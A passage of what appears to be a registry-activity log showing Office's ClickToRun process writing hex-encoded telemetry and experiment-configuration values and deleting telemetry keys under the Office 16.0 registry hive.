207b205c224576656e74466c61675c22203a2032207d2c205c2241637469766974794c6f674173796e635461736b5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22436f6c6c6162436f726e65725c22203a207b205c224576656e74735c22203a207b205c22436f617574686f725570646174654c6f636174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f617574686f72476f546f43757272656e744c6f636174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572795573657252655265676973746572436f6e6e65637469766974794368616e67654e6f7469667949664e65636573736172795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e6443686174427574746f6e497356697369626c654e6f7744617461706f696e745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c65727955736572436c6f736553696e676c65466c796f75745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e64497343686174417661696c61626c655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572794f6e436f617574686f72735265747269657665644173796e63506f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572795265747269657665436f617574686f72735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572794f6e436f617574686f72735265747269657665645c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572795265747269657665436f617574686f72734265666f72654173796e63506f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279496e6974464d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279436f617574686f72577261707065725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e64436f61757468696e6757697468416c6c4775657374734f724d697373696e67456d61696c456469746f72735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22476f546f4c6f636174696f6e416374696f6e487562416374696f6e4a756d70546f417574686f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c65727955736572557064617465417574686f724c6f636174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c65727955736572557064617465456d61696c416e64436861745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6e7461637443617264416374696f6e487562416374696f6e53686f77436f6e74616374436172645c C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|4" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|1" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.4 = 207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4372634261736564556964222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e43726974697175652e44697361626c65644c616e677561676573222c20225622203a20227374643a3a77737472696e677c6a612c7a6822207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e43726974697175652e4c6f67496e7465726e616c4e616d65416e645072696f72697479222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e456469746f72536572766963652e557365496e737472756d656e746174696f6e417069222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e4765726d616e456e744469736162696c69747942696173222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e4e6f7277656769616e426f6b6d61616c456e746572707269736547726f757031222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772617068496d706f72744865647769675558222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772617068496d706f7274496e73657274416c6c4f626a6563747356696577222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e47726170686963732e4368616e6765476174652e5570646174655461626c65426f756e6473466f72547970696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4967782e456e7375726545326f4d6f6e696b65724166746572456e7375726545326f222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4e6577456e737572655549444c6f676963222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4f6666696365496e7369646572526567697374726174696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5043582e416c6c6f7746696e6450656f706c655573616765496e41744d656e74696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5043582e4175746f436f6d706c6574652e46696e6450656f706c65537570706f7274222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5043582e4669784e6f6e526566436f756e7465644d736f506572736f6e6173222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e4261636b67726f756e64576f726b436f6e74726f6c6c6572427567466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e427567466978466f7250686f746f41637469766974794c6f6767696e6752656d6f76616c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e436f6e746163744361726456324f766572666c6f774d656e7573506861736532222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e46696e6450656f706c655573616765456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e497350656f706c655365617263684578656375746f72456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e506378417072696c323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784665627275617279323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784a616e75617279323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784a756e65323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784d61726368323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e557365506378436f6e74616374496e666f4c697374222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378417072696c323031374275676669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378436f6d6d6f6e436f6d70617265427567466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378436f6e746163744361726444706941776172656e6573734275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378436f6e7461637443617264466f6e74486569676874444450494275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063784a756e65323031374275676669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063784d61726368323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063784f63746f626572323031364275676669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50656f706c655365617263682e436f6e7461637453656172636849676e6f72657353796d626f6c73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50656f706c655365617263682e50637848616e646c65734175746f446973636f766572222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50656f706c655365617263682e526563697069656e744175746f436f6d706c657465537570706f7274222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50726f6f66696e672e4175746f4d616e616765722e41637469766974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e536d6172744c696e6b732e416c6c6f775265636f676e697a65536d6172744c696e6b73496e7369646550617261677261706873222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e54686573617572757350616e652e41637469766974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5472616e736c61746f722e456e61626c65466c6f6f6467617465537572766579222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5472616e736c61746f722e466c6f6f646761746553757276657944656c6179222c20225622203a2022696e7433325f747c3530303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e576f72642e46574153686f756c64426c6f636b53656c4368616e67656446616c73654576656e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e576f72642e53656e6445646974466c6167546f4e6f4572726f724576656e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e576f72642e57726974696e67417373697374616e63654372697469717565466f724347415049222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e57726974696e67417373697374616e636555492e50616e652e46697857726f6e67436c6f73654c6f676963222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e436f6c6f72466f6e74537570706f7274456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e46696c6556657273696f6e696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e48696464656e466f6e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e4f4172745465787456616c696461746552616e6765564544222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e52696368456469742e416c6c6f774475706c696361746555696d557064617465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e52696368456469742e436f7079506173746548544d4c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e5472616e7363726962652e436f6e666967436865636b44697361626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d657472792e417269614d617854656172646f776e55706c6f616454696d65496e536563222c20225622203a2022696e7433325f747c3222207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d657472792e566f6c756d65547261636b696e674d61784576656e7473222c20225622203a2022696e7433325f747c3530303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4169725370616365222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224261636b656e645c22203a207b205c224576656e74735c22203a207b205c224c61796572486f7374496e697469616c697a6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d706f7369746f7253657373696f6e547970655c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c2257696e33325c22203a207b205c225375624e616d657370616365735c22203a207b205c224c65676163795c22203a207b205c224576656e74735c22203a207b205c22416e696d6174696f6e50657263656e74556e64657233304650535c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416e696d6174696f6e4176674650535c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726f737357696e54496d654f6646697273744672616d655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224176657261676550726573656e74735065725365636f6e645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4368617274696e67222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436861727445326f4c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436861727445326f536176655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224368617274696e67456e644c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e436c69636b546f52756e222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c225363656e6172696f5c22203a207b205c224576656e74735c22203a207b205c22446f72695461736b5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225570646174655461736b557064617465646574656374696f6e325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174655461736b557064617465646f776e6c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174655461736b557064617465636c69656e74646f776e6c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265706169725461736b46756c6c7265706169725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265706169725461736b52656d6f7665696e7374616c6c6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c5461736b436f6e6669677572656c696768745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c69656e747570646174655461736b436c69656e74646f776e6c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c5461736b53747265616d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c5461736b437265617465776f726b696e67636f6e66696775726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174655461736b55706461746566696e616c697a655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225461736b4c61737452756e4865617274626561745c22203a207b205c224576656e74735c22203a207b205c225461736b4c61737452756e4865617274626561745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22556e6976657273616c426f6f7473747261707065725c22203a207b205c224576656e74735c22203a207b205c224170706c69636174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6c6c656374506172616d65746572735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6c6c656374456d6265646465645369676e61747572655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616c63756c617465506172616d65746572735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436c69656e744361624d616e616765725c22203a207b205c224576656e74735c22203a207b205c225461736b557064617465436c69656e74446f776e6c6f6164446f457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225461736b436c69656e74446f776e6c6f6164446f457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253747265616d4361625c22203a207b205c224576656e74735c22203a207b205c22446f776e6c6f616453747265616d4361625c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225472616e73706f72745c22203a207b205c225375624e616d657370616365735c22203a207b205c224578706572696d656e74616c5472616e73706f72745c22203a207b205c224576656e74735c22203a207b205c22436162735c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c224576656e74466c61675c22203a20323536207d207d207d2c205c225472616e73616374696f6e616c46696c654f7065726174696f6e735c22203a207b205c224576656e74735c22203a207b205c224170706c794368616e6765735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457865637574655472616e73616374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d2c205c224576656e74735c22203a207b205c225472616e73706f72745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f776e6c6f61644361625c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5465 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|6" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.9 = 224576656e74466c61675c22203a20323536207d207d207d2c205c2255585c22203a207b205c224576656e74735c22203a207b205c224c61756e63684f6d657853534f436f6e73656e744469616c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416761766555784d696e6f72426c6f636b65645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2241707044656c6574656446726f6d446f63756d656e745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224469616c6f67436c6f7365645c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224469616c6f674f70656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f77496e666f626172436f6e73656e74566965775c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f774c6f6164696e6753746174655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253686f775265616374566965775c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22416464696e50726566657463685c22203a207b205c224576656e74735c22203a207b205c22507265666574636849636f6e735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22507265666574636855726c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225072656c6f61644d616e69666573745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253616e64626f78507265666574636855726c5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2241637469766174696f6e5c22203a207b205c224576656e74735c22203a207b205c224352656d6f74657250726f78795c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2253696e676c655369676e4f6e5c22203a207b205c224576656e74735c22203a207b205c22446973706c617953534f436f6e73656e7450616765466f7241706943616c6c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224578656375746547657453534f546f6b656e496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247657441757468546f6b656e5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d2c205c224576656e74735c22203a207b205c224f445041637469766174696f6e466f7254616761353572735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f4450417070436f6d6d616e64735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434f4d416464696e4f7065726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f4450417070436f6d6d616e647343616368655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450417070436f6d6d616e6473496e7374616c6c54696d655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450417070436f6d6d616e6473526962626f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224557534c69626c657443616c6c735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e67436865636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e67446f63756d656e744f70656e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e67446f63756d656e7453686f77547275737455495c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22446565704c696e6b696e675472757374526573756c745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224577734c6173745570646174655374617475734974656d436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224577734c6173745570646174655374617475734974656d53686f776e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247656e314163746976697479416767726567617465644261736553756272756c655c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247656e314163746976697479416767726567617465644661696c757265436f756e745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2247656e3141637469766974794167677265676174656453756363657373436f756e74576974685461675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f44504170704d616e6167656d656e744d656e755c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450496e73657274696f6e4469616c6f675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f445050617273654e65774d616e69666573744572726f725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f44505265636f6d6d656e64656447616c6c657279436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f4450526962626f6e427269646765526962626f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f445053616e64626f7841637469766174696f6e5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f45504d616e696665737450617273696e675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22526962626f6e427574746f6e436c69636b5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253746f7265557365725374617475735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253746f7265557365725374617475734572726f725c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c224f445041637469766174696f6e466f7254616761353572715c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224f44504c6174656e63795c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e466565646261636b222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c2253617665526573706f6e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e46696c65494f222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224353495c22203a207b205c224576656e74735c22203a207b205c225265717565737441646170746572556e657870656374656443616c6c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416d49416c6f6e6550726f63657373526573706f6e73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e73616374656453747265616d446174615570646174655472616e73616374696f6e436f6d6d69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e73616374656453747265616d446174614d657267655472616e73616374696f6e436f6d6d69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224343616368656446696c655363686564756c6546696c6555706c6f6164526571756573745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243656c6c53746f726167654f6e426c6f624865617052657175657374526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243656c6c53746f726167654f6e426c6f624865617052657175657374526573756c74434d555c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6e49734f6e6c79436c69656e7452657175657374436f6d706c6574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22437369446176436c69656e7453656e64526571756573745374617475735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574446f63756d656e7446726f6d55726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224343616368656446696c654373694c6f616446696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224343616368656446696c654373695361766546696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22446f63756d656e74466163746f72794372656174654e6577446f63756d656e745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22446f63756d656e7452656e616d655375626d6974576f726b4974656d5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22464d617050617468735c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22476574536861726555726c466f72436f6e7461696e65724173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22476574536861726555726c466f7246696c654173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22476574576f706955726c46726f6d46696c654964656e7469666965724173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2249446f63756d656e7447657456657273696f6e4c6973745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2249446f63756d656e74526573746f72654173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224973446f776e6c6f616465644261736556616c69644e6f48617368436865636b5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253796e634261636b65645265636f6e63696c65725472795265636f6e63696c65546f4c6174657374416674657256657273696f6e4e6f74466f756e645c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253796e634261636b65645265636f6e63696c65725472616e736974696f6e4f6e6c696e655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2254727944657374726f794f666669636546696c6543616368655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22576f706942726f77736542726f777365546f436f6e7461696e65724173796e635c22203a207b205c224576656e74466c61675c22203a203438383936207d207d2c205c225375624e616d657370616365735c22203a207b205c2253746f726167655c22203a207b205c224576656e74735c22203a207b205c2243616368654f70746963735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f7074696373446f776e6c6f61644572726f72446973747269627574696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f7074696373446f776e6c6f61644572726f72446973747269627574696f6e7337446179735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f70746963734572726f72735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637346696c6553746f726546696c6553697a65446973747269627574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637355706c6f61644572726f72446973747269627574696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637355706c6f61644572726f72446973747269627574696f6e7337446179735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f7074696373576f726b696e67436f707946696c6553697a65446973747269627574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656d6f766546696c65456e7472795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616368654f707469637350657246696c655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2253746172744f666669636546696c6543616368655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d2c205c225375624e616d657370616365735c22203a207b205c2243656e7472616c5461626c655c22203a207b205c224576656e74735c22203a207b205c22436865636b536368656d6156657273696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22436c65617243616368655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22437265617465446174616261736546696c655573696e6754656d706c6174655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2243726561746544617461536f757263654661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2244617461736f757263654f70656e4661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2246696c65436163686550726f70657274696573526f774e6f74466f756e645c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224d69677261746546696c654e616d6546726f6d496e695c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22526f77736574556e6b6e6f776e4661696c7572655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22536368656d61557067726164655c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c224661756c744d616e6167656d656e745c22203a207b205c224576656e74735c22203a207b205c224661756c745265636f766572795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c224661756c745265706f72745c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d207d207d2c205c2250726f746f636f6c5061727365725c22203a207b205c224576656e74735c22203a207b205c2250617273655572695c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7061636b55726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496672496e697441726773576f72645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2248724c61756e636855726c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22464c6f6164436d644c696e65436f72655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2250726f746f636f6c48616e646c65725c22203a207b205c224576656e74735c22203a207b205c225472794f70656e696e674c6f7248797065724c696e6b496e4e6174697665436c69656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2250726f746f636f6c48616e646c65724d61696e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22556e7061636b4c696e6b5c22203a207b205c224576656e74735c22203a207b205c22556e7061636b4c696e6b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7061636b4c696e6b4173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7061636b4c696e6b5769746848696e745c22203a207b205c224576656e74466c61675c2